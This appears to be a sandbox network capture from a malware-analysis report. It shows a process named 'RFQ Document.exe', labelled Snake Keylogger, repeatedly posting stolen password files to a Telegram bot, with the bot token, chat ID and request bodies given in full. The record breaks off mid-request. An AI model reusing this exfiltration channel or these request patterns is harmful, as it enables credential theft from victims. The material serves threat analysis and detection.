Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:30 UTC	344	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eb2d79f5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:30 UTC	345	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 62 32 64 37 39 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eb2d79f5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:30 UTC	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:30 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:30 UTC	346	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12803,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808770,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.4	50039	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:32 UTC	346	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eb4c7845 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:32 UTC	346	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 62 34 63 37 38 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eb4c7845Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:32 UTC	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:32 UTC	347	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12804,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808772,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.4	50040	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:32 UTC	348	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ec9ca33d Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:32 UTC	348	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 63 39 63 61 33 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ec9ca33dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:32 UTC	348	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:32 UTC	349	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12805,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808772,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49796	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:25 UTC	34	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c46f4cca Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:25 UTC	35	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 36 66 34 63 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c46f4ccaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:25 UTC	35	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:25 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:25 UTC	36	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12602,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808705,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.4	50041	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:32 UTC	349	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ecbba305 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:32 UTC	350	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 63 62 62 61 33 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ecbba305Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:32 UTC	350	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:32 UTC	350	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12806,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808772,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.4	50042	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:32 UTC	351	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ecd11949 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:32 UTC	351	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 63 64 31 31 39 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ecd11949Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:32 UTC	352	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:32 UTC	352	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12807,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808772,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.4	50043	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:32 UTC	352	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ecf01548 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:32 UTC	353	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 63 66 30 31 35 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ecf01548Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:33 UTC	353	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:33 UTC	354	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12808,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808773,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.4	50044	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:33 UTC	354	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ed07eda7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:33 UTC	354	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 30 37 65 64 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ed07eda7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: 